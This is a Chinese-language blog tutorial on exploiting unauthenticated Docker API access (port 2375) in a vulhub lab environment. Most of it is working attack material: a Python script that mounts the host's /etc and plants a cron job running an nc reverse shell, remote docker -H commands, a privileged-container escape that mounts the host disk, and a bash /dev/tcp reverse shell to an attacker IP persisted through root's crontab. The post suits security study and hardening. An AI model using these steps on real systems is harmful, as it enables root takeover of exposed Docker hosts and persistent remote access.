Docker API 未授权访问漏洞

Docker API 未授权访问漏洞

1、漏洞简介
在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
2、漏洞原理
利用 Docker 节点上开放的 TCP 端口 2375 远程执行 Docker 命令,进而可获取服务器 Root 权限。
3、漏洞环境搭建
这里我们直接使用 vluhub 环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

4、漏洞验证
访问 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞
Docker API 未授权访问漏洞_第1张图片
5、利用方式

5.1 第一种反弹shell方法
(1)在攻击机上安装docker环境

apt-get install docker docker-compose
service docker start

(2)接下来使用攻击脚本,详情如下:

import docker

client = docker.DockerClient(base_url='http://192.168.0.115:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.161 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

以上脚本意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell

(3)然后在kali上执行 python 脚本反弹Shell给攻击机,执行完脚本,反弹shell成功!
Docker API 未授权访问漏洞_第2张图片

这里我们反弹到了Docker机器的shell
注意:此python脚本针对 centos系统可以反弹shell,ubuntu系统不反弹!

5.2 第二种getshell方法

(1)因docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以在机器上通过远程方式连接doker

docker -H tcp://192.168.0.115:2375 ps  #查看远程机器上的正在运行的docker镜像
docker -H tcp://192.168.0.115:2375 images

Docker API 未授权访问漏洞_第3张图片

链接进去之后,发现没有镜像文件,那么去官方下载一个镜像文件 alpine

docker -H tcp://192.168.0.115:2375 pull alpine

Docker API 未授权访问漏洞_第4张图片

接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.0.115:2375 images
docker -H tcp://192.168.0.115:2375 run -it --privileged alpine  bin/sh

Docker API 未授权访问漏洞_第5张图片

在kali中启动一个有交互的shell,并且是特权镜像 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

进入容器后,使用fdisk -l命令查看磁盘文件

注意:在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

从返回的type信息中可以判断出,/dev/sda1是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir test
挂在磁盘到新建目录:mount dev/sda1 test
进入目录:cd test/
新建文件:touch test.txt   写入123测试:

Docker API 未授权访问漏洞_第6张图片

接下里看一下靶机中确实创建了 test.txt 文件,docker逃逸成功
Docker API 未授权访问漏洞_第7张图片
接下来可以反弹主机shell
创建 test.sh 文件且写入反弹 shell

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.0.161/6666 0>&1"

之后给 test.sh 添加执行权限,并且写入到定时任务中

chmod +x test.sh 

echo '*/1 * * * *  /test.sh' >> /test/var/spool/cron/crontabs/root #每分钟执行一次test.sh文件

攻击机打开监听端口,等待片刻后成功返回 shell(注:宿主机docker版本为18.09.9,否则以上逃逸无效)

你可能感兴趣的:(docker逃逸,docker,运维,安全)